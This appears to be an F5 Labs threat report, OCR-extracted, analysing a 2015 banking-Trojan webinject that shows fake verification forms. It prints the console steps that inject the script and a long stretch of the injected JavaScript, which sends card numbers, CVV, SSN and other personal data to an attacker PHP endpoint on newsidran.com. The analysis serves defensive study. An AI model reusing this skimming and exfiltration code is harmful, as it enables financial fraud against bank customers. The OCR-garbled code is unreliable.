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THE THREAT

TROJANS

A Trojan is a piece of malware that appears to the user to perform a desirable function, but actually
steals information or harms the system (perhaps in addition to the expected function). Trojans

employ two main techniques to steal users’ credentials or initiate money transfers on their behalf:

*  Modifying the website’s client-side web page.

«  Sniffing the browser’s activity for information that is sent to different banks before the packets are

encrypted by SSL.

SCRIPT INJECTIONS

Recently several e-banking Trojans (Zeus, Cridex, and Citadel, for instance) have used script
injection techniques to modify the original web page. The modification may enable the attacker to
perform money transactions using victims’ credentials. This may be perpetrated by a Trojan
injecting a malicious JavaScript code to the client’s browser, once the client is connected to the
website. The injected code performs different functions, including attempting a money transfer
from the client’s account, gaining control on mobile devices, and much more. To maintain the
information sent by the Trojans, attackers have developed different types of command and control
(C&QC) systems that enable them to grab and manage the injected code and its functions These

systems are usually PHP-based systems accompanied by a SQL database.

ATTACK OVERVIEW

WEBINJECT DETAILS

Injected URL: https://newsidran.com/col/main.js
IP address: 107.181.161.211

Detection date and time: November 10, 2015 18:54 (UTC)
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ATTACK SEQUENCE

This sample injection provided the forensic data necessary to recreate this attack.

We've detected something unusual about this sign-in. For example, you might be
signing in from a new location, device or app. Before you can continue, we need
to verify your identity with a security questions.

Card type - Select- L
Card number

Expiration day v |/ (25 ¥
Exam

CVV2 number

Name as it appears on card

Eements  Resources | Network | Souces Timeine  Proffes  Audts  Consoe )
Name Status o size Time
Path Jrcthiod Text Dre Ciloin! Content Latency nckae 28m: P stoms T20m; ssam Lo 118 1 L8
main.js 200 102K8 11ms
GET appicatonavas... Oirer Lo
L] newsidran com ok 45.4K8 110ms
200 mainis:1 5868 200ms
2 newsiran.comcol GEE oK imtmmci. s 198 172ms o
=] cwimage.jpg 200 main 5178 166K8 8ms -
| NEW_MCSC.png 200 mains:178 144K8 109ms
newsidran comveolimg SEE oK Reostad Script 140k8 108ms -
.+, loader2.git 200 main fs:192 22K8 114ms
i — GET o imagelgi & 5 ik @
micolimg K Script 19K8 13ms
N 200 main js:178 123K8 16

6requests | 56.3KB transferred

= @ © D |Documents Stylesheets Images Scripts XHR Fonts WebSockets Other =

> var fakEbotid = 12345 [4]
undefined

> var fAkEbotname = "joe*
. d

> docuent , createElement ('script*)
. d

L “http://newsidran.con/col /nain. js"

“http://newsidran,con/col /nain.js"
> document .body . appendChild(1)
<script src="http://newsidran.com/col /main.is"></script>

>
IO, > Q © <topframe>v &I | Erors Wamings Logs Debug &

Figure 1: The web inject is initiated with necessary variables in the browser (See lower left)
The malware on an infected machine establishes a few variables before the injection takes place,
the most substantial of which are:
«  fAkEbotid.
+ fAKkEbotname.
In order to view the content, the variables are created in the environment, as can be seen at the

bottom of Figure 1.

This initial prompt for the webinject asks for various pieces of credit card information. Note that all
communication and resources (such as images and scripts) used by this attack are injected from

the same newsidran.com domain name.
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' Elements | Resources Network Sources Timeline Profiles Audits Console

> <tr style="height: 45px; display:

»<tr : 4Spx; display:

»<tr : 4Spx; display:

»tr : 4Spx; display:

»tr : 45px; display:

»tr : 45px; display:

»tr : 45px; display:

»<tr i 45px; display:

»<tr : 45px; display:

»<tr t 45px; display: ;

V<tr i 45px; display: background-color: rgb(237, 238, 247);" id="fAkEbuttons"> —
">

v<td style="vertical-align: middle; padding-left: 10px;" colspan=
<button onclick="javascript:fAKE submit()" title="Submit" style="cursor:pointer;font-family:inherit;font-size:12px;border:lpx solid #83b6ef;color:#383877;border-radius:Spx;
color:white; font -weight :bold;background: none repeat scroll O O #83bef;float: right;height: 25px;margin-right: 20px;max-width: 75px;min-width: 75px;" tabindex=
"2">Submit</button> ]

=</td>

Figure 2: Element inspection of the submit button shows a custom submission function

A review of the form shows a custom submission method as an “onclick” attribute tied to the
submit button. This fAKE_submit() function exists inside the main.js script that was injected initially,

allowing us to review its code.

function fAKE_submit() {
var fAKE_I = document.getElementById("fAkE_cc").getElementsByTagName("input");
for (i = 0; 1 < fAKE_I.length; i++) {
fAKE_I[i].style.border = "1px solid #83b6ef";

var fAKE_select = document.getElementById("fAkE cc").getElementsByTagName("select");
for (1 = 0; 1 < fAKE_select.length; i++)
fAKE_select[i].style.border = "1px solid #83b6ef";

3
fAKE_CloseElem("fAKE error");
if (fAkEflag == "fAkE first_page") {
if (fAkECheckfp()) {
fAKE_swi tch( " fAKE_second_page")
} else {
fAKE_switch("fAkE_first_page")

}
} else if (fakEflag == "fAkE_second_page") {
if (fAkechecksp()) {
fAKE_switch("fAkE_third_page")
} else {
fAKE_switch("fAKE_second_page")
}
} else if (fAkEflag == "fAkE_third_page") {
if (fakecChecktp()) {
fAKE_swi tch("fakE_four_page")
} else {
fAKE_switch("fAKE_third_page")

}
} else if (fakeflag == "fake_four_page") {
if (fakEcheckdp()) {
fAKE_switch("fAkE_four_page");
var fAkEtime = new Date();
var fAKE_SP = document.getElementById("fAkE_stateProvince").childNodes[0].nodeName.search(/input/i) > -1 ? document.getElementById(" fAkE_stateProvince").childNodes[0].value : document.a
GgetElementById("fAKE stateProvince").childNodes[0].getElementsByTagName( " option")[document.getElementById(*fAKE_stateProvince").childNodes[0].selectedIndex].value;
fAKE_MakeElem(fAKE_link + "comm.php?botid=" + encodeURIComponent(fAkEbotid) + "&botname=" + encodeURIComponent(fAkEbotname) + "&RStatus=sec_data" + "&cctype=" + encodeURIComponent(documenta
5.getElementById("fAKE cctype").value) + "&ccnum=" + encodeURIComponent(document.getElementById("fAkE ccnum®).value) + "&mmyyyy=" + encodeURIComponent(document.getElementById("fAkE expday_mm").a
GgetElementsByTagName("option" ) [document.getElementById(" fAKE_expday_mm").selectedIndex].value + "/" + document.getElementById("fAkE_expday_yyyy").getElementsByTagName("option")[document.a
GgetElementById("fAKE expday_yyyy").selectedIndex].value) + "&cvv=" + encodeURIComponent(document.getElementById("fAkE_CVv2").value) + "&mcsc=" + encodeURIComponent(document.getElementById(a
5" fAKE_MCSC" ) .value) + "&vbv=" + encodeURIComponent(document.getElementById(" fAKE_VBV").value) + "&name=" + encodeURIComponent(document.getElementById("fAKE name").value) + "&country=" + 2
GencodeURI Component (document. getElementById(" fAkE_country").getElementsByTagName("option" ) [document.getElementById(" fAkE_country").selectedIndex].value) + "&adre: + encodeURIComponent(document.a
5getElementById(" fAKE_adress').value) + "&city=" + encodeURIComponent(document.getElementById("fAKE city").value) + "&state=" + encodeURIComponent(fAKE_SP) + "&zip=" + encodeURIComponent(document.a
GgetElementById(" fAKE_ZipPostalCode").value) + "&tnum=" + encodeURIComponent(document.getElementById("fAkE phone").value) + "&dob=" + encodeURIComponent(document.getElementById("fAkE_dd").a
GgetElementsByTagName("option")[document.getElementById("fAKE_dd").selectedIndex].value + "/" + document.getElementById("fAkE_mm").getElementsByTagName("option")[document.getElementById("fAkE mm").a
gselectedIndex].value + "/" + document.getElementById("fAKE yyyy").getElementsByTagName("option”) [document.getElementById("fAKE_ yyyy").selectedIndex].value) + "Smmn=" + encodeURIComponent (document.3a
GgetElementById("fAKE_MMN").value) + "&ssn=" + encodeURIComponent(document.getElementById("fAKE_SSN_0").value + document.getElementById("fAkE_SSN_1").value + document.getElementById("fakE _SSN_2").3
Gvalue) + "&scode=" + encodeURIComponent(document.getElementById(" fAkE_SCODE_0").value + document.getElementById("fAKE_SCODE_1").value) + "&sin=" + encodeURIComponent(document.getElementById(a
5" fAKE_SIN_0").value + document.getElementById("fAKkE_SIN_1").value + document.getElementById("fAkE_SIN 2").value) + "&time=" + encodeURIComponent(fAkEtime), "fAKE_First_page", null, "script");
} else {
fAKE_swi tch("fAkE_four_page")
}

Figure 3: Conditional functions that load multiple pages and the final submission method

Reviewing this code, we can expect that this attack takes place over a series of pages, asking for
progressively more and more data as the user enters information. Entering bogus information takes
the user to the next page until the user ends up at the final submission. The figures below show the

displayed content at each step of the attack as seen by the malware-infected user.
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=

/We've detected something unusual about this sign-in. For example, you might be
signing in from a new location, device or app. Before you can continue, we need
to verify your identity with a security questions.

Verified by
VISA

Verified by Visa password (3D-Secure) |

L 3 =

Figure 4. When the attack starts, the victim is asked for her ‘Verified by Visa’ password

/We've detected something unusual about this sign-in. For example, you might be\
signing in from a new location, device or app. Before you can continue, we need
to verify your identity with a security questions.

Update billing information:

| United States v

Country

Address !

City |

State/Province |- Select - v |

Postal Code i l

‘Submit

8 J

Figure 5: Next, the victim’s biling address is requested
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/We've detected something unusual about this sign-in. For example, you might be\
signing in from a new location, device or app. Before you can continue, we need
to verify your identity with a security questions.

Additional information required:

Phone |

Date of birth 1 w| /|1 v|/ [2010

-

Example: 22 / 027 198

Mother's maiden name y ’

Social security number ! | - | ] |

(S J

Figure 6: Progressively more sensitive personal information is requested

i

We've detected something unusual about this sign-in. For example, you might be\
signing in from a new location, device or app. Before you can continue, we need
to verify your identity with a security questions.

Please wait while we contact your credit card company for verification. This may
take up to 15 seconds. The information within this window will only be shared

with your bank.
. L [ ]
¢ e @ JavaSc... Alert - x
. ° .
Please wait. . Congratulation.
. J

O o«

Figure 7: Final notice is given once the attack completes
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The final submission of the stolen data appears to be accomplished by a script element being
added to the page document object model (DOM), which sends the stolen user data as GET

parameters to the server through the URL https://newsidran.com/col/comm.php.

Elements  Resowces | Network | Sowces Timeie Profies  Audts  Console

Name
Path I Meaders | Preview Response Cookies Timing

main js URL: https://newsidran. con/col/conn . php7botidel. ec_datascet 1%2F201 76¢yv=1238ac
y=vir 42011420201

2P 074 3A27% 3A38% 20GHT - 0800%20( PST)

comm php?botid=12M45&bots

Ac
=] cvimeacira e 150-8859-1,utf-8;q=0.7,4:q=0.3
—_ Ac ip, deflate, sdch
= e— =
- Cos 2vgoBas)lvag7ahvrd34bl 6914
=1 kit idran.con
! 4 Mozilla/s.0 (X11: Linux i686) AppleWebKit/S37.22 (KHTHML, like Gecko) Ubuntu Chromiun/25.0.1364.160 Chrome/25.0.1364.160 Safari/s37.22
— ¥ Query String Parameters "
| N vBVpng botid: 12345
5=
P e
‘ ‘comm php ?botid=12345&bot:

no-store, no-cache. must-revalidate. post-check=0, pre-checks0d
-Alive

2
t-Type: text/javascript
Ved, 11 Nov 2015 15:27:37 GHT

8requests | 50.1KB tansterred
D >z Q = @ © (| Documents Siylshests images Scrpts XHR Fons WebSockets Other ol g

Figure 8: Stolen data is sent to the server as GET parameters to the PHP script at /col/comm.php

About F5 Labs

F5 Labs combines the expertise of our security researchers with the threat intelligence data we collect to
provide actionable, global intelligence on current cyber threats—and to identify future trends. We look at
everything from threat actors, to the nature and source of attacks, to post-attack analysis of significant
incidents to create a comprehensive view of the threat landscape. From the newest malware variants to zero-
day exploits and attack trends, F5 Labs is where you'll find the latest insights from F5’s threat intelligence
team.
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